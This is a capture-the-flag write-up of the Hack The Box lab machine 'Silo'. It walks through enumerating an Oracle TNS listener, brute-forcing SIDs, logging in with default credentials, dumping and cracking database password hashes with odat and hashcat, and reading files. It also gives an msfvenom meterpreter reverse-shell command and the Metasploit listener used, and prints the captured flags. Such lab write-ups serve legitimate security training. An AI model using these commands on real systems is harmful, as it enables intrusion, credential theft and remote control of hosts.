Writeup: Hack The Box - Machines - Silo

Description

  • Name: Silo
  • IP: 10.10.10.82
  • Author: egre55
  • Difficulty: 5.1/10

Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PORT      STATE SERVICE      VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open oracle-tns Oracle TNS listener (requires service name)
49161/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-07-30 12:37:53
|_ start_date: 2018-07-30 11:37:38

Pwn

Looking at the IIS web server we didn’t found anything interesting so we focused on the unauthorized Oracle service on port 1512.

We first tested the target for a TNS Poison attack: auxiliary/scanner/oracle/tnspoison_checker and we confirmed the possibility to exploit this vulnerability:

Using the module admin/oracle/sid_brute we found 3 SID (Oracle database/instance unique name):

1
2
3
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'XE'
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'PLSExtProc'
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Found SID 'CLRExtProc'

Bruteforcing logins for each SID we found a tuple username/password for XE SID: scott/tiger.

Using odat we can issue commands to the database. odat is develop to test the security of Oracle databases so it has some modules to privesc, read file, upload file, CVEs, search, etc.

With the passwordstealer module we got some passwords

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
python odat.py passwordstealer -s 10.10.10.82 -d XE -U scott -P tiger --get-passwords --sysdba

[1] (10.10.10.82:1521): Try to get Oracle hashed passwords
[+] Here are Oracle hashed passwords (some accounts can be locked):
SYS; FBA343E7D6C8BC9D; S:9665BEDD55BCDB06121B34917713A19F7C3AC2F34554781395D2560B1D1D
SYSTEM; B5073FE1DE351687; S:486D06A8C62E20F7BDE616E55889CD0A68AB8E6C7FCB86D16CB576441467
OUTLN; 4A3BA55E08595C81; S:142AD444D8A63983FF69C77DBFD3E60947C14237AEC71031E24F5228D44C
DIP; CE4A36B8E06CA59C; S:1E4C37D0E8DC2E556D3C02A961ACEF1500B315D076BE13E578D1A28FC757
ORACLE_OCM; 5A2E026A9157958C; S:1575D1C89A1AACFE161ED788D2DC59CF6C57AE3B6CCC341D831AAF5BC447
DBSNMP; E066D214D5421CCC; S:59354E99120C523F77232A8CCFDE5E780591FCE14109EEE2C86F4A9B4E8F
APPQOSSYS; 519D632B7EE7F63A; S:4237CCB702887B049107EE6D13C312123F40E3F51208B2B70D6DA92E621D
CTXSYS; D1D21CA56994CAB6; S:3548FDA49F84F2F7ECE4635BA0FD714EC2446723074ED6167F1CD9B6EDFB
XDB; E76A6BD999EF9FF1; S:88D6BE2B593143BD5AE5185C564826F9213E71361230D3360E36C3FF55D2
ANONYMOUS; anonymous; None
XS$NULL; DC4FCC8CB69A6733; S:6C4F97FF654AE30BCD9BDBB3007EF952B5943F0A9ED491455E9FB185D8A1
MDSYS; 72979A94BAD2AF80; S:F337C5D6300E3F8CDEDE0F2B2336415EAAE098A700A35E6731BF1370657E
HR; 4C6D73C3E8B0F0DA; S:F437C1647EBCEB1D1FB4BB3D866953B4BF612B343944B899E061B361F31B
FLOWS_FILES; 30128982EA6D4A3D; S:A3657555975A9F7527C4B97637734D74465C592B9D231CA3DAB100ED5865
APEX_PUBLIC_USER; 4432BA224E12410A; S:E8D8CCD600CBCEA08ACB158A502C5DA711B00146404621BB2F83E8997246
APEX_040000; E7CE9863D7EEB0A4; S:03D9B47D20C9A9EC3023177D80C0EE2D1DCEDA619215C2405177CEFFEE76
SCOTT; F894844C34402B67; S:16015028693BC0B4C82472A60D337F932B9AD86A3711D2F83967AF2DE20C
[+] Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):
FBA343E7D6C8BC9D:SYS
B5073FE1DE351687:SYSTEM
4A3BA55E08595C81:OUTLN
CE4A36B8E06CA59C:DIP
5A2E026A9157958C:ORACLE_OCM
E066D214D5421CCC:DBSNMP
519D632B7EE7F63A:APPQOSSYS
D1D21CA56994CAB6:CTXSYS
E76A6BD999EF9FF1:XDB
anonymous:ANONYMOUS
DC4FCC8CB69A6733:XS$NULL
72979A94BAD2AF80:MDSYS
4C6D73C3E8B0F0DA:HR
30128982EA6D4A3D:FLOWS_FILES
4432BA224E12410A:APEX_PUBLIC_USER
E7CE9863D7EEB0A4:APEX_040000
F894844C34402B67:SCOTT
[+] Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):
SYS:FBA343E7D6C8BC9D
SYSTEM:B5073FE1DE351687
OUTLN:4A3BA55E08595C81
DIP:CE4A36B8E06CA59C
ORACLE_OCM:5A2E026A9157958C
DBSNMP:E066D214D5421CCC
APPQOSSYS:519D632B7EE7F63A
CTXSYS:D1D21CA56994CAB6
XDB:E76A6BD999EF9FF1
ANONYMOUS:anonymous
XS$NULL:DC4FCC8CB69A6733
MDSYS:72979A94BAD2AF80
HR:4C6D73C3E8B0F0DA
FLOWS_FILES:30128982EA6D4A3D
APEX_PUBLIC_USER:4432BA224E12410A
APEX_040000:E7CE9863D7EEB0A4
SCOTT:F894844C34402B67

With hashcat we cracked some passwords:

1
2
3
4
5
6
7
8
4C6D73C3E8B0F0DA:HR:HR
E76A6BD999EF9FF1:XDB:ORACLE
CE4A36B8E06CA59C:DIP:DIP
4A3BA55E08595C81:OUTLN:OUTLN
F894844C34402B67:SCOTT:TIGER
72979A94BAD2AF80:MDSYS:MDSYS
E066D214D5421CCC:DBSNMP:DBSNMP
D1D21CA56994CAB6:CTXSYS:ORACLE

But, more important, while hashcat was running we discovered more informations about the Oracle service and the user scott using odat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[1] (10.10.10.82:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] The target is vulnerable to a remote TNS poisoning

[2] (10.10.10.82:1521): Testing all modules on the XE SID with the scott/tiger account
[2.1] UTL_HTTP library ?
[-] KO
[2.2] HTTPURITYPE library ?
[+] OK
[2.3] UTL_FILE library ?
[+] OK
[2.4] JAVA library ?
[-] KO
[2.5] DBMSADVISOR library ?
[+] OK
[2.6] DBMSSCHEDULER library ?
[-] KO
[2.7] CTXSYS library ?
[-] KO
[2.8] Hashed Oracle passwords ?
[+] OK
[2.9] Hashed Oracle passwords from history?
[-] KO
[2.10] DBMS_XSLPROCESSOR library ?
[+] OK
[2.11] External table to read files ?
[-] KO
[2.12] External table to execute system commands ?
[-] KO
[2.13] Oradbg ?
[-] KO
[2.14] DBMS_LOB to read files ?
[+] OK
[2.15] SMB authentication capture ?
[-] KO
[2.16] Gain elevated access (privilege escalation)?
[+] The current user has already DBA role. It does not need to exploit a privilege escalation!
[2.17] Modify any table while/when he can select it only normally (CVE-2014-4237)?
[-] KO
[2.18] Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)?
[+] Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database

[3] (10.10.10.82:1521): Oracle users have not the password identical to the username ?
The login XS$NULL has already been tested at least once. What do you want to do: | ETA: 00:00:13
- stop (s/S)
- continue and ask every time (a/A)
- continue without to ask (c/C)
c

100% |################################################################################################| Time: 00:00:54
[-] No found a valid account on 10.10.10.82:1521/XE

Using the module dbmslob we can read files from the file system and since we have a DBA role we can try and see if the we can read the root flag using the --sysdba flag to connect to the database as SYSDBA:

1
2
3
4
5
python odat.py dbmslob -s 10.10.10.82 -d XE -U scott -P tiger --getFile "C:\Users\Administrator\Desktop" root.txt root.txt --sysdba

[1] (10.10.10.82:1521): Read the root.txt file stored in the C:\Users\Administrator\Desktop path
[+] Data stored in the root.txt file sored in C:\Users\Administrator\Desktop (copied in root.txt locally):
cd39ea0af657a495e33bc59c7836faf6

I don’t know if this was the intended way to solve this machine…but it worked!

From the odat utility we can upload files too; we generate a meterpreter shell with msfvenomon

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.15.204 lport=3487 -f exe > dodo.exe

With the metasploit listener started (msfconsole -x "use exploit/multi/handler; set payload cmd/unix/reverse_bash; set LHOST 10.10.15.87; set LPORT 3487; run -j") we triggered the execution of the uploaded exe with the odat module externaltable.

And we got a session

With the shell we can read the user flag

Flags

user: 92ede778a1cc8d27cb6623055c331617

root: cd39ea0af657a495e33bc59c7836faf6